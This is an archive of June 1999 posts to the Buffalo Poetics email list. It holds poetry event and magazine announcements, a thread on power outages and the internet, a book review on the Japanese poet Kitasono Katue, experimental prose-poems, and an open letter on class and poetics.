The Magazine is available for sale in NYC at: Art Market, Blackout Books, St. Mark’s Books, Tower Books, Virgin Megastore, Coliseum Books, Untitled, Ear Wax, Ink, Beacon’s Closet, Pierogi 2000 & Printed Matter & The New Museum. Distributed in North America by Desert Moon, Ingram Periodicals & Printed Matter. (Also available directly from us by mail for $5 per copy).

---------- End Forwarded Message ----------

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164. Poetry Project
workshop reading
Fri 11 Jun 1999

On Wednesday, June 16th at 8 pm,

a reading by participants of the Poetry Project's Spring 1999 Writing Workshops

including:

Tracy Blackmer
Matthew Burgess
Jeffrey Burghauser
Samuel Claiborne
Jeanie Gosline
George Green
Tony Hoffman
Marc Kuykendall
Lisa Pasold
Marni Rice
Liz Young
Magdalena Zurawski
and other surprise guests

Workshop teachers were Larry Fagin, Lisa Jarnot, and Murat Nemet-Nejat

For more info, call [redacted]

↑ Index

165. Taylor Brady
Re: diastext
Fri 11 Jun 1999

Ron (and all),

Charles O. Hartman, author of DIASTEXT, has a web page at www.conncoll.edu/ccother/cohar. Last time I checked, the page had some free computer poetry software available for download, including a fairly interesting and easily hackable C program called MacProse - but it didn't include DIASTEXT. Unfortunately, I can't verify this right now, since either Hartman's page or the Microschlock browser they've saddled me with at work seems to be malfunctioning. (oh, never mind, just found the new URL: http://camel.conncoll.edu/ccother/cohar/programs/)

Other sites that might be of interest to you:

BIBLIOGRAPHY, LINKS, ETC. Marius Watz' page (a fairly comprehensive resource page on computer-generated/filtered text, from which most of the following links are taken): www.notam.uio.no/~mariusw/c-g.writing/

SOFTWARE DOWNLOADS
RoboPoet (fairly limited in terms of its syntax, etc., but interesting)
www.ozemail.com.au/~kensea/

Mark V. Chaney V1.0 (a "probabilistic text generator based on Markov chains")
http://www.notam.uio.no/~mariusw/c-g.writing/markv.zip

Babble (a "babble generator")
http://www.notam.uio.no/~mariusw/c-g.writing/bab200.zip

Deconstructor (apparently fairly crash-prone, so use w/ caution)
http://www.notam.uio.no/~mariusw/c-g.writing/Deconstructor.cpt.hqx

Text Mangler (another Markov chain-based program, this one filters and rearranges pre-existing texts)
http://www.notam.uio.no/~mariusw/c-g.writing/TextMangler_1.2.cpt.hqx

McPoet 5.0 (this is my favorite of the bunch, as its parameters are configurable without having to get into the actual code - takes a little work, and the default settings are pretty silly, but well worth a look):
http://hyperarchive.lcs.mit.edu/HyperArchive/Abstracts/text/mcpoet-50.hqx.ab s

Note that Robopoet, Mark V. Chaney and Babble are DOS programs. MacProse, Deconstructor, Text Mangler, and McPoet are for the Mac. Sorry I couldn't find DIASTEXT for you (though the basic procedure would be fairly easy to code in either C++ or VBA for Word), but perhaps one or two of these will be of some interest. Keep me informed, too, if you find DIASTEXT anywhere.

Best,
Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Ron Starr
Sent: Thursday, June 10, 1999 1:56 PM
To: [redacted]
Subject: diastext

Does anyone have or know where to find a program called DIASTEXT?

It implements a form of Mac Low's diastic text generation. I had a copy of it years ago, didn't transfer it to the new machine, and have (thus) lost it. Checking my usual net places to find such things hasn't turned it up.

Thank you in advance for any help.

- Ron Starr ([redacted])

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166. David Highsmith
reply to Upton, RE : power outages
Fri 11 Jun 1999

Here in San Francisco we have local outages 2-3 times per year when neighborhhood transformers blow. We also have frequent blown fuses because the old apartment buildings and Victorians are riddled with old bad wiring and overloaded circuits. In addition to this we sometimes have dirty wiring, circuits in which the ground wire picks up a slight low voltage current which produces a buzz on the radio and sometimes a slight shock in the bathtub (circuits are grounded to cold water pipes). Presumably, the dirty circuits can decrease the lives of appliances. To guard against outages, I use an APC power conversion unit on my computer, which keeps it going about fifteen or twenty minutes when the power's blown. Another small problem to consider is telephone outages, which sometimes happen when rain gets into the unprotected outdoor junction boxes. All this aside, it's good to remember that libraries shut down too, all night, every night. And if your doing your research in a library, you'll probably use the Online Public Access Catalog to find your material, rather than "direct human discourse", which is usually discouraged anyway by stern librarians, who will glare at you while pointing to the sign on the wall that says, "No direct human discourse, please."

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167. Tisa Bryant
Garrett Caples contact info
Fri 11 Jun 1999

---

does anyone have an e/snail/mail address for him?

if so, please send direct

thanks!

[redacted]

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168. Poetics List
New Rain Taxi features Ashbery & Silko Interviews / Sullivan
Fri 11 Jun 1999

---

this came to the administrative account. Chris

From: "Gary Sullivan" <[redacted]>
Date: 6/11/99 12:54 PM -0400

Rain Taxi Review of Books Vol. 4 No. 2
is now available!

Interviews: John Ashbery (by Eric Lorberer); Leslie Marmon Silko (by Anna Reckin)

Features: Mary Hood (by Cris Mazza); J.L. Borges (by Robert Zaller, David Wiley & Chase Madar); Alexander Trocchi (by Michael Perkins); Writing Behind the Walls: Books on Prison Writing (by E. Lorberer, James Colvin, Arthur D. Seale, S.P. Healey, Brad Zellar, Michael Leville, Christopher Tinney and Josie Rawson)

Reviews of books by: Harry Smith (by Jason Kuykendall); Salvador Dali (by Anna Reckin); Kenji Nakagami (by Caroline Schnieders); Jena Osman (by E. Lorberer); Will Alexander (by Joel Felix); Ange Mlinko (by Juliet Patterson); Susan Gevirtz (by Gary Sullivan); Laura Mullen (by Kim Fortier); Bin Ramke (by Kelly Everding); Charles Bernstein (by Glenn Mott); Rosalind Krauss (by Carolyn Kuebler); Nan Goldin (by K. Everding); Clarence Major (by Jerome Klinkowitz); & many many more

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I have copies I can send to anyone otherwise unable to get one, email me at:
[redacted]

Have fun,

Gary

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169. Poetics List
current list stats
Fri 11 Jun 1999

As of this afternoon. Chris

--

```
*  Country                Subscribers
*  -------              -----------
*  Australia                    15
*  Belgium                       2
*  Canada                       44
*  Finland                      1
*  Germany                       2
*  Great Britain                24
*  Ireland                      4
*  Italy                      1
*  Japan                       7
*  New Zealand                     11
*  Poland                      1
*  Singapore                     1
*  Spain                      2
*  Sweden                       4
*  Switzerland                   2
*  Thailand                     1
*  USA                      619
*  Yugoslavia                    1
*
* Total number of users subscribed to the list:    744
* Total number of countries represented:           18
```

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170. Dana Lustig

Re: power outtages/searches & so forth

Fri 11 Jun 1999

In response to your question: to what degree is power outage a problem in America? That depends upon the area. Some cities are wired above ground, which makes them more prone to power outtages during storms or high winds. Here in Atlanta, it can happen frequently during the summer. However, you shouldn't be using the computer during a severe storm, so perhaps it's just the wiring in Ms. Proulx's building.

Re: search engines. I've made good use of Infoseek's Express product, which I believe can still be downloaded free from the Infoseek site. It simultaneously searches a combination of available search engines and reports back the results quickly (usually within 20 seconds or less) with a summary. I use it for research at work, and have found that it provides a

much more complete listing than using a single search engine at a time. My only complaint is that there is no real advanced search criteria on Express, which means ocassionally scanning through a lot of useless links to find the stuff I really do want. I'm hoping they will upgrade the advanced search functionality, because otherwise it's an effective tool.

dana lisa

_____ Reply Separator _____
Subject: Author: [redacted] at Internet-USA
Date: 6/11/99 9:02 AM

In a recently published article by Annie Proulx, she is quoted as saying: . "I rarely use the internet for research, as I find the process cumbersome and detestable. The information gained is often untrustworthy and couched in execrable prose. It is unpleasant to sit in front of a twitching screen suffering assault by virus, power outage, sluggish searches, system crashes and the lack of direct human discourse." . I quite enjoyed this odd view of the internet and wondered if I could sell her some I.T. consultancy. Also I was entertained by the idea of power outages occurring, to such an extent that one could not complete a web search. . Everything else looks exaggerated to me, but I can only go on my experience of electrical supply in Europe. Serious question: to what degree is power outage a problem in America?. I don't know where she is based, but I hadn't thought that it was much of a problem in normal times i.e. outside of major storms and occasional accidents. But it would be useful to me because of something related I am looking into to know for sure. Tell me, this is largely junk, isn't it? . . Lawrence Upton

↑ Index

171. Alan Sondheim
Mouthing Lives, Whew!
Fri 11 Jun 1999

Mouthing Lives, Whew!

"--and when I first read Kierkegaard, I said, 'My God! He's on to some- thing very crucial for me,' which was, how do you actually engage in forms of philosophical reflection that are inseparable from lived experience and concrete situations?" (Cornel West interview in The Harvard Review of Philosophy, Spring 1999.)

If the forms were living, they might be Nikuko and Alan; if Nikuko and Alan were living. If Nikuko has the concrete situations, measurable in terms of quota and specificity, Alan has the lived experience; if Nikuko occupies the realm of the definable, Alan occupies that of immersivity.

If Nikuko constructs, Alan names; Nikuko and Alan meet at the junction of the appellation: "In uttering an 'Appellation' we wish to remove any doubts as to the actual meaning. But, how can we utter an appellation?-- With our mouth." (From the Canon, Mo Tzu, in The Works of Kung-Sun Lung- Tzu, Perleberg.)

The juncture is the juncture of the mouth. A paradox from Chuang-tzu 33: "Mountains bring out mouths." First image: that of the mountain; second image: that of bringing-forth (mountain upon mountain, pictorially [not in terms of origin]); third image: that of a square, mouth: delimitation. "The empty valley transmits sounds" or echos. A fissure in the earth reso- nates. One translation states "mountains have mouths" but this overlooks the impulse behind the exodus. It is the process of the flesh in the real, or the overture of the real to speech. The valley unfolds like great dark lips; the momentum of the tongue garners the bewilderment of naming.

The second image, doubled mountain, ch'u, to go forth or out, issue, be- get, eject. "Primitively it represents stalks growing out of the ground." (Ingram's old Analysis of Chinese Characters.) "is a hieroglyphic charac- ter representing the foot protruding past a certain line." (The First Step to Kanji, Yoshida, Saji, Nishida.) Growing transforms into the issuing of symbols; the symbolic pours from the mouth as in Mayan glyphics. The mouth (of the stream, of the valley, of speech and the symbolic, of the graphic user interface, of the screen) is the suture between Nikuko and Alan; it is the mouth which speaks both subject and avatar into existence.

The oath that the mouth makes is the binding of the performative into eth- os; and it is among oaths that ethos is born. "We meet at the juncture of the appellation; mouth and name remain indecipherable, indistinguishable."

I think of tattoo: My desire for your name, Nikuko, upon me, your sign, Nikuko, engraved in hanko as well, covering pages and skin with kisses. "Qu: 'Does two include one?' Kung: 'Two does not include one?'" yet it is pointed out, in the original, it is not clear who is speaking. (T'ung- pien lun, Kung-Sun Lung-Tzu.) Mouth and name, tattoo and number, sign and quantity. One is never a quantity. One is always a quantity, measure from the origin, convenient backdrop to the continuum, signifier of measure polytopes. We are close to the work of Lingis here, or the full and re- plete body supine in the valley, symbolic and riverine flows throughout.

Later, everything was born. "Love, love, love, have the courage to love, the courage to be, go down fighting. Whew!" (West.)

↑ Index

172. Lawrence Upton.

Power outages

Fri 11 Jun 1999

Thanks to all who responded to my enquiry about power outages etc, both front and back channel. Largely as I thought, but I got some useful new information and an opener mind. So thanks again

.

Lawrence

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173. miekal and

wa wha wawa woo you like keto k'to

Fri 11 Jun 1999

>desire say, "va va who spl you sp you so now"
>else says, "Beveragers pix down in their individual bitters, but there
>several are there are certainly some left."
>desire say, "the hops mends the affirmities, the duly lad chaken
>visibly, come thou may the first of the divisin' charmkeeps."
>else says, "And they thought it was bein' so deuced conservational.
Hic.
>Haec. Hop"
>desire say, "a trial beknownst a scurilous book, the random hearty
>laughter is not her only cage, the one severed from desire's body
>simpled."
>else says, "So -- she is entitled to her foundations after all over
>under*there skate a weight offered every other time zone, or girdle."
>desire say, "cryptic emotionographers held sway with a distant
audience,
>one not so turmoiled by presentation or the binding sweater of
>liberation lyrics."
>else says, "That far away in clicky chants is a kind of harness, a
>manner hoist or elevating ..."
>desire say, "a sing stress the fancy a phantasm monsterous"
>else says, "asmic things sensationalise invariably."
>desire say, "a delivery broken from swinging alone on a highwire"
>else says, "very broken indeed"
>desire say, "her telegram arrived umprompted by sweaty offerings or the
>back of the sucking sucking nightfence."
>else says, "and Clara wants to disconnect me, counts me down but they
>don't take knowing for a way of night."
>desire say, "the node of connectivity shudders with abhorance, with the

>minute bodyweight of hologram specular amorphitudes."
>else says, "Denotation plaits gargling beansfull strim call cal la
>lapped. You mean the pedalo we paddle o'er the... naaah. "
>desire say, "whom so calackedly broughtforth, a calyption of turnality"
>else says, "... he denies it, and all such cult. Little glyptics. (And
>all our messes scented by desire"
>desire say, "the libidintudes danced merrily in their scattering, their
>scar shaken by the object penetration a meer cast of the presence she
>called for in her dream, the finagling minor character exiting while
>speaking behind someone's back."
>else says, "So perfervid it does both at once, and would slip in and be
>already there, to see herself and how it's changed after that last
edit.
>Spear-carrier and bucketeer."
>desire say, "one dotes on the symptom of poesy, evacuation mirrors
>coming, the temporal langue stated plain as the rose of all bodies
>undone "
>else says, "and they soap their sores then."

↑ Index

174. Julie Johnson
new book on Japanese avant-garde...
Sat 12 Jun 1999

---

here's a review on a new book about a major figure in experimental Japanese poetry...

review is by Eric Selland...

this review can also be found at Duration Press on-line:

http://members.xoom.com/Duration/Authors/ericselland/bkreview.html

---------- ---------- Book Review: Shredding the Tapestry of Meaning – The Poetry and Poetics of Kitasono Katue (1901–1978) , by John Solt, Published by the Harvard University Asia Center and distributed by Harvard University Press, 1999, 395 pages, $49.50 cloth, ISBN 0-674-80733-2. (Available on amazon.com)

Occasionally a book arrives that changes everything. Less, perhaps, in presenting something totally new, than in revealing that which had remained hidden, or forgotten. John Solt’s biography and extended literary analysis of the life’s work of Kitasono Katue, a major practitioner of avant-garde poetic forms from the 1920s to the 1970s, does just that. First in offering up the newest in that short list of very rare full-length studies of a modern Japanese poet, and

second in its having laid open a forgotten history of dynamic artistic and literary development, as well as cultural exchange. A history, moreover, which intersects with our own, as becomes evident in the lengthy chapter on Kitasono's many years of correspondence with Ezra Pound.

Kitasono Katue (Solt uses the Francophile spelling preferred by Kitasono himself in his dealings with foreign poets) originally wanted to become a painter, but after a literary friendship and time spent in Tokyo, broiling with new ideas and a cosmopolitan lifestyle (Hirato Renkichi published his Japanese Futurist manifesto in 1921), Kitasono decided to become a poet. By 1924 he had become involved with a group of young poets publishing Japan's first Dadaist magazine, Ge.Gjmgjgam.Prrr.Gjmgem , thus beginning his many years of involvement with iconoclastic new forms. The new magazine introduced sound poems, dadaist absurdities and work harkening the eventual development of Surrealism in Japan. One more very important characteristic of the magazine was the introduction of the usage of katakana words in poetry. Foreign words and images were used liberally, appearing both in katakana script and the alphabet. We tend to be non-plussed now about these graphical innovations due to the common use of foreign loan words and Romanized script in the Japanese of the present, but at that time it was revolutionary, and would even become dangerous by the late 1930's with the rise of militarism.

Kitasono went on to write Surrealist poems, such as appear in his 1929 collection Shiro no Arubamu , and in the 1930's became the main mover of the VOU club, an experimental group through which he introduced his own poetic theories such as "ideoplasty". It was at this time the correspondence with Pound began, and Pound eagerly promoted Kitasono and VOU in Europe and the United States, connecting Kitasono's ideoplasty with his own ideogrammatic theory in Guide to Kulchur (1938). The VOU poets were given an introduction by Pound and published in a London magazine in 1938. Kitasono provided his own translations of his work, a few lines of which appear below:

In leaden slippers I laugh at the fountain of night, and scorn
a solitary swan.
A parasol of glass she spreads, and wanders along the lane the
cosmos flowering.
Over the cypress tree I image, to myself, a hotel marked with
two golf-clubs crossed;
And move my camera on the sand of night.

[Excerpt from "Glass Coil" as originally published in Townsman, Jan. 1, 1938]

Kitasono carried out intensive exchanges with Pound and other Western poets during this period, and remade contact with the West after the war in the form

of contacts with Charles Olson, Robert Creeley, Kenneth Rexroth and others. Robert Creeley even asked him to provide the cover drawings for the first few issues of the Black Mountain Review .

Rather than settling on one fixed form once found, as has been the case with many Japanese poets of the same period (including those who later lapsed into free-verse sentimentalism after an initial experimental phase), Kitasono went from one experiment to the next. After the war he introduced concrete poetry, then published a series of books each taking a further step toward the complete dislocation (or indeterminacy) of meaning, and finally attempted the leap beyond language itself in his production of what he called “plastic poems”, poems without words in which he utilized photography and design elements. Kitasono can almost be considered Japan’s first Post-Modernist in his willful ignoring of the boundaries between genres, levels of speech, and conventional meaning formation.

Solt explains in his introduction that his approach is a historical one, rather than one whose purpose is to advocate any particular literary theory, however, he does make use of the ideas of important theorists on the international 20th century avant-garde such as Marjorie Perloff, especially in his interpretations of Kitasono’s post-war work. More importantly, Solt’s study offers an exposition of Japanese avant-garde practice through much of this century which serves to tear away the imposition of Western generated Orientalist exoticisms often overlaid on the more immediate intellectual and social realities of Japan. The representation of Japanese literature in this country has often been effected by those more concerned with appropriating an overly idealized version of Zen and haiku for their own ideological purposes within a social and political milieu very different from Japan’s than in understanding the actual historical experience of a non-Western people in their coming to terms with the ideas and realities of their own times. Solt’s book gives us one of the rare looks at actual Japanese concerns within the poetic practice of the 20th century through the eyes of a Japanese poet, hence giving us a much needed breath of fresh air. The appendices, notes and bibliography give the serious reader important source information for further study. It is hoped that this will open the way to more research on the development of Japanese poetic practice, as well as other Japanese arts and intellectual trends of this century. It seems to me that there is much more creative potential for poets in this country in the consideration of the transformational processes involved in this period of intensive cultural cross-pollination, in the various acts of translation, literary readings and creative misreadings, than in the continued reliance on older, and often artificially exotic images invented by previous generations of Westerners with less of an opportunity to come into contact with the real thing.

Note: John Solt’s translations of Kitasono Katsue’s poetry are also available under the title Glass Beret, Morgan Press, 1995, 2979 S. 13th Street, Milwaukee, WI, 53215.

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175. Maria L. Zavialov
Re: current list stats
Sat 12 Jun 1999

Hey, there is one from Russia. Put me between Poland and Singapore. Masha Zavialova, St. Petersburg

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176. Kathy Lou Schultz
Will Alexander
Sun 13 Jun 1999

Still seeking contact info for Will Alexander.
Please backchannel [redacted]
Thank you!
^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

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177. Kevin Magee
Re: BACKCHANNEL REQUEST
Sun 13 Jun 1999

"I was wondering if you'd be so kind to explain" arrives by backchannel raising such a complex set of issues and from such an unexpected direction (East instead of West) that the form of response I would choose is the public one of an open letter translating one poet's directness and generalizing his earnest suspicion by substituting the simple candor of a private answer for the more difficult, for me anyway, task of reflecting on my experience of the Buffalo Poetics List since the last week of February of this year and the nature of my participation on it, employing the method of self-critique you can find in The Bolivian Diary, for example, at the end of each month's entries, or Shades of Hades:

Out of the items in the New York Times
a woman, one of the leaders of the FMLN
reported wounded and captured.

In her papers,
evidence she had been to study in Hanoi,
love poems, a diary, and a self-critique.

Questions:

1) Do I identify groups and call them pampered elitist?
2) Am I campaigning for cultural democracy?
3) Do my forms of propaganda include put-downs of those who I don't think have a right to make art or do things as I think they should?
4) Does my campaign, my game, include careful non-response to those on my enemies list?
5) Is the Buffalo Poetics List pasteurized?

Before addressing each question with the seriousness each deserves, and I don't think I'm omitting any concern stated in a two-paragraph post, my first thought is one of being called to a thought I almost didn't have or at least did not give much thought to before being called to these questions, that the bleachers in the stadium are far from empty, though in my own private Ohio the idea that anyone is listening suffers under force of a concentration on a single face. I forget this while writing for that one or for at least a few even when making the most general statements, though there's always the thrill of being overheard. The magic of this form of exchange, keyboard to screen to send, is that encourages impulsive behavior, and provokes the best kind of reactions. Communication. Providing that you've got somewhere to send it to.

1). Group identification. Elitism. The only grouping I'm aware of doing has been in a couple of event notes when I hopped on the bus to New York and heard poetry for the first time in several years, at the Dactyl Foundation, The Whitney, and the No Moore. Casual groupings, who's reading, what they read, what is the space the readings take place in--impressions. Impressions, perhaps, from something like a crocodile surfacing in a log jam, to paraphrase a line or two from Prevallet's Cocteau translation in a recent issue of TF. The only grouping I'm committed to, however, is the effort to keep articulating class divisions and identifying as specifically as possible how these divisions affect poetry, poetry spaces, and relations between poets. This is such a huge and urgent problem that any one person trying to address any aspect of it is bound to overstate their case, exaggerate, expostulate, and even step on a few toes. Something Anthony Braxton wrote a long time back in an out-of-print three-volume opus of post-Ayler jazz theory makes sense here: There can be no room for accusation if the writing is concerned about what is really true (to refrain

from attacking individuals) (even when an attack would clarify a viewpoint) (not to mention that the state of the Art is not about only one or two). (I may have changed a few words, but the core is Braxton's). He writes elsewhere about how Western inquiry terms, Western definitions, and the simulacra of Western textual commentary have influenced how we have come to either approach living, or approach understanding about living. There's something of this in Lorenzo Thomas' Neon Griot essay when he writes about the Black Arts Movement and role of the neighborhood center/performance space/gallery/school as an alternative or at least supplement to University. If I criticize University, a monolithic-heterogenous "elsewhere" more than capable of defending itself, it is with the thought that I'm writing to a forum made available from University resources, though its moderator is probably not a member of the Communication Workers of America, and shouldn't he be? I also trust that the moderator would bounce any message from me that attacked anyone personally, though what constitutes "attack" is also class-determined. In SF Dodie Bellamy once swiped my face like a Yukon grizzly on the question of the conflict between Style and Ideology, and her point made an impact on me because of its ferocity. Charging me, she changed my mind. Two working class writers communicating.

2). The campaign for cultural democracy. One poet cannot carry on a campaign. If this could be a campaign, or a Social Movement, many poets rich and poor would have to be involved, integrating progressive university and art school centers with inner city neighborhood initiatives, arranging residencies, maybe doing something like the John Reed clubs did in the 30s only this time without the CP, bringing people into the Art of Poetry or bringing the Art of Poetry to people at a time when the closing of that 1945-1974 higher education window of opportunity Silliman wrote about without irony in that ironwood shared file area years ago, i.e. "the vast extension of post-secondary education to new sectors of society," has produced an ocean of working class youth who do not come to culture and poetry the way my generation mostly came to it, through that highly competitive and problematic space of the University Writing Workshop such as Maria Damon writes about in her Dissonance essay. Perhaps the fervor or fever with which I press this point in some of my posts at times has to do with the fact that I'm haunted or hunted by the shadow of Tishie Ann who grew up a couple of blocks away coming to writing in much the same way as the slam-woman in Damon's essay, coming to writing through the 12 steps, bursting onto the page and exploding our conceptions of what is literature.

3). My forms of propaganda. Who has the right to write. I really thought I was posting more poems than anything on this list, the event notes being highly subjective snapshots saying more about the blindness of their photographer or

the gropingness of his coming to eyelight after a three year period in the darkroom. Writing poetry is a form of propaganda for me, taking propaganda to mean what it means to left politics, what you do when there's no mass work going on, shouting on a soapbox that something is rotten in the state of the art, though every agitator would rather be leading a shutdown or strike than talking to the air. Like most discourse on the left, the circulation of my writing is extremely limited, and as far as I know only about 25 copies of my second book, Recent Events, have been distributed through a single bookstore in California. As far as having the right to write, I work with working class and inner city "students" who have barely been given the right to live, let alone write, and the daily experience of the silence and powerlessness inflicted on them and which they bear with amazing humor colors my propaganda, but I don't know where I'd get the power to say who does or doesn't have the right to write even if I wanted to and though I may in fact imply this from time to time in a Blakean crank moment.

4). My campaign. My game. My non-response. A small number of poets both known and unknown to me have backchannelled me since March, and I've left most go unanswered, not out of a wish to have the last word, but genuine fear of private correspondence. Writing in a public space means you have witnesses. Anyone whose life has been the subject of intense scrutiny and interrogation and whose character has been called into question can understand the security of this space where whatever I say may be used against me, but there's a chance that one or two might agree with me, and those encouraging and supportive backchannels in particular over the last several months have helped me remain confident that the general impulsiveness of my formulations or forms of propaganda include a breath of fresh air, even if I lapse into occasional instances of "Kevinosis / Mageeosis" which warning appeared in the control settings of my email account the morning after my TF event note. I can't think of any poet as an enemy when the real enemies of the Art of Poetry have been bombing Belgrade. Nietzsche once wrote that it's important to be able to be an enemy. Poetry is not a baseball game. I hate the Cleveland Indians. The faces that fill that stadium come with well-padded wallets from out of town. The friend whose words I associate with leaving for the TF event or associate with leaving Cleveland can't even smoke a cigarette outside her office building a block away from the Jake on game days without some Wahoo asking her how much, 50 bucks? I am writing for my life. Or each poem feels burned out of me at this intensity.

5). The Buffalo Poetics List and the Land of Milk and Honey. The most curious thing is that I find it hard to imagine that a Cleveland writer I'd never met and whose newspaper once included a review (among a hundred other reviews) dismissing my Leaves Books chapbook would call me up one day out of the blue

and offer to email me information about joining this list. He said it was a great place for event and publication announcements. All I'd ever heard about it was several years ago viz. "G___'s metaphor of Jacking-Off for male-dominated discussions of poetics on the Internet" (Ruby Slippers, Detours 2). There was some discussion of pissing contests some months previous between fathers and sons, but what really surprised me and inspired me and moved me into an intense on-going period of creativity has been a kind of thunderbolt throwing match among Olympians posting under nom-de-guerres and bringing me back to a state of agitation and excitability strongly reminiscent of the original power transfers that once lit the night skies over Poe's City by the Sea. I have an idea of who I have to thank for bringing me out of my cave, believing in the hermit of Burning Creek who lives there, and it needs to be recognized how great a risk it was for that person, a guardian presence, waking me up, with no assurance except perhaps for the proofs of a few poems that I was working or capable of working at the level I was doing in the vicinity of 24th and Guerrero 1991-1995. Given this, it is quite possible that I enjoy some protection in this space which I entered with greetings from Monica Lewinsky, Levine's Swine Sign, and St. Liz. This is the genius of the nom-de-guerre, you think you recognize the innuendoes, but you can't dwell on them, or else you get drawn into a game that resembles 50s era Soviet psychiatry: You're just imagining things. Nothing is real. "We're all dead out here." At its hottest, this list feels like a wide open notebook where strong poets with thick skins compose furiously oblivious to whoever's looking or if you do look before deleting, you might learn a thing or two. I study every post from Pompeii as if I were dissecting a ray of light from some social reality far away in another galaxy.

Anyway, I hope these sentences have answered the questions submitted to me by someone who has been made angry or at least suspicious by some things I have written on this list. I was really disturbed by R. Wolf's apology "okay I'll shut up now" or something to that effect sometime back on the question of class and how all this sucks. Or how the future will suck. I didn't agree with her, but I wanted to hear her continue her train of thought.

Kevin

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178. **Alan Sondheim**

Shifters: Bodee

Sun 13 Jun 1999

]\

Bodei: Shifters

Everything descends from root #1. Everything has a number. Everything belongs to the Order.

I'm Nikuko. I do duplicate that order on the level of the visible. I doub- le, triple, quadruple. I create objects shifted into others, apparently the same. The rule of the same is boredom; beneath the surface, messages seethe:

look Bodee

Lost in Bodee-Buda as Bodi Tre-Form Hells. You see Bodei, Bedei, #934, #895, #1, Girl, Boy, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, Bodi, #1, Bodee, Budi, Bedee, Bodei, Bedei, Budi, Bedee, and Bodee here.

look Bodei
I don't know which "Bodei" you mean.
look Bedei
I don't know which "Bedei" you mean.
look #934

Nikuko

Brooding Buti or Buda / Pest
She is awake and looks alert.

look #895

You won't find me Here
look Bodi
I don't know which "Bodi" you mean.
look Bodee
I don't know which "Bodee" you mean.
look Bedee
I don't know which "Bedee" you mean.
look Budi
I don't know which "Budi" you mean.

I defend myself. I don't let you in. I duplicate my numbers. I duplicate my objects. I split and return torn inside myself. You can't come in me. I make insides and insides. You don't find me and you can't tear me apart. I can tear myself apart. You can't get me. You can't get the flesh the num- bers the things, the #numbers the @flesh the $things. I horde myself. I whore myself to myself. I buy and sell myself to myself. I short-circuit your economy. I blast my way into you. I'm in everything you do and own. I defend myself. You let me in. I duplicate my numbers in you. You're gone to me. I swallow you.

You don't know which I I mean. (This could happen to me.)

You don't know you. (This has happened to you.)

↑ Index

179. Alan Sondheim

Julu, Broadcasting

Mon 14 Jun 1999

''''''''''''''''''''

Julu, Broadcasting (for Kung-Sun Lung)

"Aliases: radio. You see special radio. Telecommunications and emission have radio in common. Surely a diode and hardness have radio in common. And surely, emission and a diode have radio in common. Electronics and a diode have in common radio; a diode and telecommunications have in common radio; and telecommunications and emission have in common radio. Electron- ics has radio in common with telecommunications. Telecommunications has radio in common with a diode. A diode has radio in common with emission. People have radio in common. A name has radio in common. And radio left you. Suppose when there is radio, to gain diodeness as-such designates radio, and radio is electronic."

Nikuko beneath-the-ground, it was Nikuko dancing - "I remember the lane by the river, the thin park even before the player class, not Nikuko nor Sotatsu; I remember kami has cut out my tongue." Nikuko knows, because of Buddha-Proliferation do now with me. Nikuko knows because #1 is not unique say, "Become Dead and become still." Nikuko says: Radio Lost in Radio-Buda as if the forms were living, they might be Nikuko and Radio, if Nikuko and Radio were living. If Nikuko has the concrete situations, measurable in terms of quota and specificity, Radio has the lived experience; if Nikuko constructs, Radio names; Nikuko and Radio meet at the junction of user interface, of the screen - it is the suture between Nikuko and Radio; I think of tattoo: My desire for your name, Radio, upon me, your sign, Nik- uko, engraved in Radio-Buda as well, covering pages and skin with kisses. Tell me, Nikuko, is it true that a white radio is not a radio? Certainly, Nikuko, radioness is not electronic. Say more, Nikuko. I see, Nikuko, what is named a radio designates it as such. Tell me more, Nikuko. And so, Nik- uko? Look Nikuko, said Julu, "It's without resolution. I'm Nikuko; I do duplicate that order on the level of the visible."

↑ Index

180. Leonard Brink
Inscape
Mon 14 Jun 1999

Inscape #6 -- French Poets
is now available from:

Instress
P.O. Box 3124
Saratoga, CA
95070

for U.S.$4

It features poems by:

Dominique Fourcade
Olivier Cadiot
Esther Tellermann &
Emmanual Hocquard

translated by:

Cole Swensen
Keith Waldrop &
Rosmarie Waldrop

Please make checks payable to Leonard Brink.
After June 30 please order from Small Press Disrtribution, Berkeley
In the U.K., please order from Spectacular Diseases.

↑ Index

181. Hoa Nguyen
Please tell your friends!
Mon 14 Jun 1999

ANNOUNCING SKANKY POSSUM ISSUE 2

We're pleased to announce the second issue of Skanky Possum. Poets included are:

Stefan Hyner * William Corbett * Michael Leddy * Lewis Warsh * Sotere Torregian * Gwendolyn Albert * Carol Mirakove * Clark Coolidge * Stephanie Dean * Ange Mlinko * Hoa Nguyen * Kristin Prevallet * Tom Clark * Laura E. Wright * Stra Schrag * Sal Salasin * Kenneth Tanemura * Peggy Kelley * Gloria Frym * Stephen Ellis * Diane diPrima.

Also:

--Aphoristic gems by Heraclitus, translated by Paul Foreman;

--A special report from David Hess in the St. Louis office, detailing a recent academic conference devoted to the works of Gertrude Stein;

--And in our commentary roundup, The Possum Pouch, Ol' Ma Poss herself speaks.

Hand-painted covers grace each issue with a phantom possum portrait. Order your issue today before these furry criters get away.

Make checks payable to Dale Smith or Hoa Nguyen:

2925 Higgins Street

Austin, Texas 78722

e-mail: [redacted]

(If you want to be removed from our mailing list, please let us know)

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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182. Dale Smith
Skanky Poss for 5 bucks...
Mon 14 Jun 1999

Please forgive a 2nd message-I left off the price...

ANNOUNCING SKANKY POSSUM ISSUE 2

We're pleased to announce the second issue of Skanky Possum. Poets included are:

Stefan Hyner * William Corbett * Michael Leddy * Lewis Warsh * Sotere Torregian * Gwendolyn Albert * Carol Mirakove * Clark Coolidge * Stephanie Dean * Ange Mlinko * Hoa Nguyen * Kristin Prevallet * Tom Clark * Laura E. Wright * Stra Schrag * Sal Salasin * Kenneth Tanemura * Peggy Kelley * Gloria Frym * Stephen Ellis * Diane diPrima.

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183. **kathylou**
Boys are allowed
Mon 14 Jun 1999

Hello All,
Robin Tremblay-McGaw and I have gotten some inquiries as to whether men are "eligible" to participate in the class & poetics forum which we are hosting/editing for HOW2. The answer is "yes"! (Any and all genders are allowed in our tree house.)

I've also gotten some interesting backchannel email from "non-academics" who believe that they can't participate because they have "nothing" to say. Believe me, you have something to say. Your email proves that you have something to say.

Here again is the call for responses. Please feel free to contact me with any questions.
Kathy Lou Schultz ([redacted])

